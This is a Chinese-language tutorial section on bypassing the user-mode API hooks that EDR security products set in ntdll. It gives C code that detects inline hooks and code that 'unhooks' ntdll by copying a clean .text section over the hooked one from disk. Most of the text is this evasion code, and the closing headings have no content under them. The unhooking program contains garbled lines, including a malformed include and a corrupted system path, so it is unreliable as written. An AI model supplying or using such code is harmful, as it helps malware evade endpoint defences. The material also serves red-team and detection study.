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绕过用户态Hooking


在上个小节，我们讨论了 EDR 在用户态设置 Hook 的原理，那么相应地，我们可以根据这原理寻找间隙，实现对用户态 Hook 的绕过。截至目前，已经有多种方法绕过 Hook。不过，Hook 并非 EDR 的全部检测能力的来源，因此绕过 Hook 的这个过程本身可能就会被检测为恶意。不过无论如何，在这个小节，我们会过一下常见的一些用于绕过 Hook 的方法，以及它们的 IOC。在下个小节，我们会继续探讨绕过用户态 Hook 的方法，虽然会更加复杂一些。


检测内联 Hook

内联 Hook 的实施是在要 Hook 的 NTAPI 的 syscall stub 中的 syscall 指令之前用无条件跳转指令覆盖原有指令。不同的 EDR 可能会覆盖不同的指令，例如 CrowdStrike 覆盖的是 mov eax, SSN 这条指令，有的 EDR 覆盖的是 mov r10, rcx 这条指令。

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;

	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR * funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName,pFunctionName)==0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll,"NtAllocateVirtualMemory");
	CheckFuncByName(ntdll, "NtOpenProcess");
	CheckFuncByName(ntdll, "NtReadVirtualMemory");
	CheckFuncByName(ntdll, "NtWriteVirtualMemory");
    return 0;
}

image.png

 

替换 .text 节


#include "pch.h"
#include <iostreamstdio.h>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main()
{
	HANDLE process = GetCurrentProcess();
	MODULEINFO mi = {};
	HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

	GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
	LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE ntdllFile = CreateFileA("c:C:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
			isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}

	CloseHandle(process);
	CloseHandle(ntdllFile);
	CloseHandle(ntdllMapping);
	FreeLibrary(ntdllModule);
	return 0;
}

 


补丁 NTAPI


 

 


载入纯净 ntdll 模块

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